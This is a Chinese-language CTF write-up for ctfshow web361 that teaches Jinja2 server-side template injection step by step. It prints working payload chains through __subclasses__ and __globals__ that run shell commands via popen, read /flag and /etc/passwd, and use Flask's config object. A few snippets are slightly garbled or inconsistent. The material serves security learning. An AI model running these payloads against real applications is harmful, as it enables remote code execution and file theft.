ctfshowweb361--一道题从0入门SSTI模板注入

**前言:**这个模块网上的wp其实对第一次接触模板注入的人来说其实不是那么友好,如果直接找wp来看的话大概率就是两眼黑,容易被劝退,我自己也是这样的,更多的是需要我们自己去找别的资料先了解模板注入这一块内容,有一定基础后才能去做相关题目。我想的是能不能将其整合起来,通过一道具体的题目,从0入门SSTI,因此便有了这篇文章。【同样的,魔术方法也是要多打才能熟悉,因此这里不提供可以复制的payload】

一:模板注入相关

1.什么是模板注入

SSTI(服务器端模板注入,Server-Side Template Injection)是一种高危的Web安全漏洞。简单来说,**攻击者可以通过向模板中注入恶意代码,让服务器端的模板引擎执行它,从而实现对服务器的控制。**更直观的话可以打个比方:

  • 正常情况 :你给了一个"填空"的卡片(比如:你好,{``{name}}),服务器把你的名字(比如"张三")填进去,然后生成一句完整的话("你好,张三")还给你。

  • SSTI情况 :攻击者不填名字,而是在这个空里填了一段"魔法指令"(比如 {``{7*7}})。如果服务器没检查就直接执行,它会把 {``{7*8}} 当成指令来计算,结果返回给你"你好,56"。如果攻击者能执行更复杂的指令(如读取密码文件、执行系统命令),服务器就会被攻陷。

2.常见模板

语言 常见模板引擎 核心SSTI风险点
Python Jinja2, Mako, Tornado 通过对象继承链寻找 os.system
PHP Twig, Smarty, Blade 调用内置函数或利用 $this 上下文
Java Freemarker, Velocity, Thymeleaf 利用 new() 构造执行器或SpEL注入
JavaScript Pug, Nunjucks, EJS 获取 process 对象执行系统命令
Ruby ERB, Slim 直接执行原生Ruby代码
Go html/template 敏感信息泄露 > RCE

(更加具体的内容请自行查阅相关资料)

3.常用魔术方法

1)获取信息阶段

这些魔术方法用于从当前对象"向上"或"横向"探索,获取更多的类、模块信息。

  1. __class__

    • 作用 :返回当前实例所属的

    • 利用场景:一切的起点。

    • 示例 :你有一个字符串 "hello",调用 "hello".__class__ 就会得到 <class 'str'>

    • Payload片段{``{ ''.__class__ }}

  2. __bases__ / __base__

    • 作用 :访问当前类的父类(基类)__bases__ 返回一个包含所有父类的元组,__base__ 通常返回直接父类。

    • 利用场景:从子类向上走到父类,因为父类通常包含更多通用的东西。

    • Payload片段{``{ ''.__class__.__bases__ }}

  3. __mro__ (Method Resolution Order)

    • 作用 :显示类的方法解析顺序 。它会以一个元组的形式,列出当前类继承链上的所有类(包括自己、父类、祖先类,一直到**object**)。

    • 利用场景 :这是最重要的跳板之一。通过 __mro__ 可以拿到最终的基类------object 。因为Python中所有的类都继承自 object,控制了 object 就意味着理论上可以访问所有类。

    • Payload片段{{ ''.class.mro }}

    • 期望结果(<class 'str'>, <class 'object'>)。这样我们就拿到了 object

  4. __subclasses__()

    • 作用这是SSTI漏洞利用中最关键的一步 。它属于类方法,用于返回该类的所有直接或间接子类

    • 利用场景 :当我们通过 __mro__ 拿到 object 后,调用 object.__subclasses__(),就能得到当前Python解释器加载的所有类的列表。

    • 为什么重要:在这个庞大的列表中,包含了我们需要的一切:文件读写类、进程调用类、系统命令执行类等等。

    • Payload片段{``{ ''.__class__.__mro__[1].__subclasses__() }}

    • 解读''.__class__ 是**str** ,.mro[1]object ,然后获取**object**的所有子类。

2)寻找危险功能

得到所有子类的列表后,我们需要在这个列表里搜索可以执行系统命令或读写文件的方法。

  1. __import__

    • 作用 :这是Python的内建函数,用于动态导入模块

    • 利用场景 :如果我们能在某个类或对象上找到 __import__,就可以导入 os 模块,进而调用 os.system() 执行命令。

    • 注意__import__ 通常作为内建函数存在于 __builtins__ 模块中,或者在**warnings.catch_warnings** 等类的 __init__ 方法中被引用。

  2. __globals__

    • 作用这是SSTI利用中另一个至关重要的属性。它返回当前函数所在全局作用域下的一个字典,包含了该函数可以访问的所有全局变量、函数和模块。

    • 利用场景 :当我们从**__subclasses__()** 列表中找到某个特定的类(如**<class** 'warnings.catch_warnings'>****) 后,我们通常先访问它的 __init__ 方法,然后通过**__globals__** 获取其全局命名空间。在这个命名空间里,往往能找到已经被导入的**os** 模块,或者 __builtins__(内置函数集合)。

    • 典型利用链
      object.__subclasses__()[索引].__init__.__globals__['__builtins__']

3)执行攻击

通过上述方法拿到 __builtins__os 模块后,就可以调用真正的危险函数。

  1. __builtins__

    • 作用 :这不是一个方法,而是一个字典或模块 ,包含了Python的所有内建函数,例如 evalexecopen__import__ 等。

    • 利用场景 :一旦拿到 __builtins__,攻击者可以直接调用:

      • eval('__import__("os").system("whoami")')

      • open('/etc/passwd').read()

      • __import__('os').popen('whoami').read()

  2. eval / exec

    • 作用:将字符串作为Python代码执行。

    • 利用场景 :终极武器。当攻击者无法直接找到 os 模块时,如果能找到 eval,就可以通过它动态导入任何模块。

那么综合起来,我们来看一个具体的payload:

php 复制代码
# 原始Payload (需要根据实际索引调整)
{{ ''.__class__.__mro__[1].__subclasses__()[177].__init__.__globals__['__builtins__'].eval('__import__("os").popen("whoami").read()') }}

逐步拆解:
1. ''.__class__                -> 获取字符串的类 (<class 'str'>)
2. .__mro__[1]                  -> 获取其MRO中的第二个类,即 object
3. .__subclasses__()            -> 获取object的所有子类 (得到一个包含成千上百个类的列表)
4. [177]                        -> 选取第177号子类 (通常为 <class 'warnings.catch_warnings'>)
5. .__init__                     -> 访问该类的初始化方法
6. .__globals__                  -> 获取该初始化方法的全局作用域字典
7. ['__builtins__']              -> 从全局字典中取出内置函数模块
8. .eval('...')                  -> 调用内置的eval函数执行命令
9. __import__("os").popen("whoami").read() -> 实际执行的Python代码

4.判断模板

这里就要提到一个非常经典的图了:

绿色箭头是执行成功,红色箭头是执行失败。

首先是注入${7*7}没有回显出49的情况,这种时候就是执行失败走红线,再次注入{{7*7}}如果还是没有回显49就代表这里没有模板注入;如果注入{{7*7}}回显了49代表执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板。

成功回显出的情况,这种时候是执行成功走绿线,再次注入,如果执行成功回显,就说明是模板;如果没有回显出,就是执行失败走红线,注入{"z".join("ab")},如果执行成功回显出zab就说明是Mako模板。

二:具体题目

提示说名字就是考点,可以尝试get传参name,先按照上面图片给的方法进行一次判断,得到如下结果,可以确定为jinja2模板:

那么接下来,就按照我们前面的方法依次尝试,首先是返回类:

然后就是要返回基类,这里直接base一下就可以了:

获得obj所有的子类:

然后就是选择我们可以利用的类,一般选取的是os._wrap_close 【因为os._wrap_close 存在于 object.__subclasses__() 列表中,并且它的 __init__.__globals__直接包含了整个 os 模块, 而**os 模块** 是Python标准库中的一个核心模块 ,全称是"Operating System interface"(操作系统接口)。它提供了与操作系统交互 的函数,让我们可以**用Python代码执行各种系统级操作】**但是我们要找这个类的位置看起来好像很麻烦,这么多一个个看过去怎么行?因此这里可以采用python脚本或者我们手工查找,这里还是介绍手工查找的方法:

我们先将这里所有的类都复制下来到notepad中,然后将,替换为\n【换行符】这样就看起来清晰了:

后面我们再查找一下:

然后验证一下是不是我们要选择的(不知道为啥我notepad显示是133)

访问该类的初始化方法以及获得该方法的全局作用域字典:

这里可以直接popen来read一下:

最后得到我们的flag:

三:其他方法

当然这里还有很多方法来做,这里是一种通用性较强的:

这里我们利用的builtin的内置函数来当作跳板,在我们无法直接拿到os模块时起到了一个非常好的承接作用:builtins里面的这些函数可以帮我们执行命令:

php 复制代码
__builtins__ = {
    'eval': eval函数,           # 执行Python代码
    'exec': exec函数,           # 执行Python代码
    'open': open函数,           # 打开文件
    '__import__': import函数,   # 导入模块
    'print': print函数,
    'len': len函数,
    ...  # 还有几十个内置函数
}

利用链图解如下:

python 复制代码
# 你的payload:
{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('tac /flag').read()")}}

# 逐步拆解:
1. ""                              # ① 随便一个字符串对象
2. .__class__                      # ② 拿到str类
3. .__base__                       # ③ 拿到object基类
4. .__subclasses__()[132]          # ④ 找到第132个子类(比如warnings.catch_warnings)
5. .__init__                       # ⑤ 访问该类的初始化方法
6. .__globals__                    # ⑥ 获取全局变量字典
7. ['__builtins__']                 # ⑦ 取出内置函数模块
8. ['eval']                         # ⑧ 取出eval函数
9. ("__import__('os').popen('tac /flag').read()")  # ⑨ 要执行的代码字符串

当然还有相应的变种:

python 复制代码
?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].__import__('os').popen('tac /flag').read()}}

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__'].open('/flag').read()}}

然后这里需要注意的点是:

只要一个类满足以下条件,就能通过 __builtins__ 执行命令:

  1. 它有 __init__ 方法

  2. __init__ 方法有 __globals__ 属性

  3. __globals__ 中包含 __builtins__

常见的有以下几种:

1. warnings.catch_warnings(最经典)

python 复制代码
# 索引通常在 130-140 左右
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

2. warnings.WarningMessage

python 复制代码
# warnings模块的另一个类
{{[].__class__.__base__.__subclasses__()[184].__init__.__globals__['__builtins__'].open('/flag').read()}}

3. codecs.IncrementalEncoder

python 复制代码
{{[].__class__.__base__.__subclasses__()[107].__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}

当然了还可以从config 对象【 Flask框架中的全局配置对象 ,用来存储应用程序的所有配置信息。可以把它想象成应用程序的"控制面板 "或"设置中心"】出发,具体就不多赘述了:

python 复制代码
# 1. 查看config对象,如果返回配置信息,说明config对象可用
?name={{ config }}

# 2. 查看config的类,应该返回 <class 'flask.config.Config'>
?name={{ config.__class__ }}

# 3. 查看__init__的__globals__所有键,如果看到 'os',恭喜!可以直接用
?name={{ config.__class__.__init__.__globals__.keys() }}

# 4. 如果有os,直接执行
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

# 5. 读取flag
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

# 6. 如果没看到 os,但有 __builtins__,可通过 __builtins__ 导入os
?name={{ config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('cat /flag').read() }}

总之,方法很多,选取最合适的自己最好理解的即可。

四:参考

SSTI漏洞浅析(常见模板注入、waf绕过)

超详细SSTI模板注入漏洞原理讲解
Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

SSTI模板注入【宝藏up,入门强推】

相关推荐
独行soc10 小时前
2026年渗透测试面试题总结-25(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
AC赳赳老秦12 小时前
2026 智能制造趋势:DeepSeek 助力“黑灯”工厂运营,实现生产流程自动化
网络·数据结构·算法·安全·web安全·prometheus·deepseek
一名优秀的码农13 小时前
vulhub系列-03-Billu_b0x(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
独行soc13 小时前
2026年渗透测试面试题总结-26(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
临水逸1 天前
飞牛fnos 2025 漏洞Java跨域URL浏览器
java·开发语言·安全·web安全
独行soc1 天前
2026年渗透测试面试题总结-24(题目+回答)
网络·python·安全·web安全·渗透测试·安全狮
正义的彬彬侠1 天前
Hashcat 使用手册:从入门到高级密码恢复指南
安全·web安全·网络安全·渗透测试·hashcat
一名优秀的码农1 天前
vulhub系列-02-Raven2(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
kyle~1 天前
Python---Flask 轻量级Web框架
开发语言·python·flask